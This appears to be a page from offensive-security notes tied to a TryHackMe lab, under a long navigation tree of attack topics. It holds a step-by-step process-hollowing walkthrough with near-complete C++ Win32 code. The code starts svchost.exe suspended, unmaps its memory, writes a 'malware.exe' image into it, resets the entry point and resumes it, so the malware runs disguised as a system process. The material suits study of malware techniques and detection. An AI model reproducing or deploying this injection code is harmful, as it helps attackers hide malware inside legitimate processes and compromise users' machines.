# In the Open

Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Process Hollowing

# Process Hollowing

- Target process which is in suspended state has to be created

    LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
    LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
    CONTEXT c; // Context structure pointer

    if (CreateProcessA(
        (LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
        NULL,
        NULL,
        NULL,
        TRUE, // Handles are inherited from the calling process
        CREATE_SUSPENDED, // New process is suspended
        NULL,
        NULL,
        target_si, // pointer to startup info
        target_pi) == 0) { // pointer to process information
        cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
        return 1;

- Malicious image has to be opened

    HANDLE hMaliciousCode = CreateFileA(
        (LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image
        GENERIC_READ, // Read-only access
        FILE_SHARE_READ, // Read-only share mode
        NULL,
        OPEN_EXISTING, // Instructed to open a file or device if it exists
        NULL,
        NULL
    );

- Unmap memory from the process

    c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
    GetThreadContext(
        target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
        &c // Pointer to store retrieved context
    ); // Obtains the current thread context

    PVOID pTargetImageBaseAddress;
    ReadProcessMemory(
        target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
        (PVOID)(c.Ebx + 8), // Pointer to the base address
        &pTargetImageBaseAddress, // Store target base address
        sizeof(PVOID), // Bytes to read
        0 // Number of bytes out
    );

- Allocate and write into the memory unmapped

    DWORD maliciousFileSize = GetFileSize(
        hMaliciousCode, // Handle of malicious image
        0 // Returns no error
    );

    PVOID pMaliciousImage = VirtualAlloc(
        NULL,
        maliciousFileSize, // File size of malicious image
        0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
        0x04 // Enables read/write access (PAGE_READWRITE)
    );

    DWORD numberOfBytesRead; // Stores number of bytes read

    if (!ReadFile(
        hMaliciousCode, // Handle of malicious image
        pMaliciousImage, // Allocated region of memory
        maliciousFileSize, // File size of malicious image
        &numberOfBytesRead, // Number of bytes read
        NULL
        )) {
        cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
        TerminateProcess(target_pi->hProcess, 0);
        return 1;
    }

    CloseHandle(hMaliciousCode);

- Get handle of dll

    HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
    pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
        hNtdllBase, // Handle of ntdll
        "ZwUnmapViewOfSection" // API call to obtain
    ); // Obtains ZwUnmapViewOfSection from ntdll

    DWORD dwResult = pZwUnmapViewOfSection(
        target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
        pTargetImageBaseAddress // Base address of the process
    );

- Allocate memory for the target process

    PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
    PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew

    DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure

    PVOID pHollowAddress = VirtualAllocEx(
        target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
        pTargetImageBaseAddress, // Base address of the process
        sizeOfMaliciousImage, // Byte size obtained from optional header
        0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
        0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
    );

- Write to the process memory

    if (!WriteProcessMemory(
        target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
        pTargetImageBaseAddress, // Base address of the process
        pMaliciousImage, // Local memory where the malicious file resides
        pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
        NULL
    )) {
        cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
    }

    for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
        PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header

        WriteProcessMemory(
            target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
            (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section
            (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
            pSectionHeader->SizeOfRawData, // Byte size of current section
            NULL
        );
    }

- Set entrypoint

    c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header

    SetThreadContext(
        target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
        &c // Pointer to the stored context structure
    );

- Switch process state to running

    ResumeThread(
        target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
    );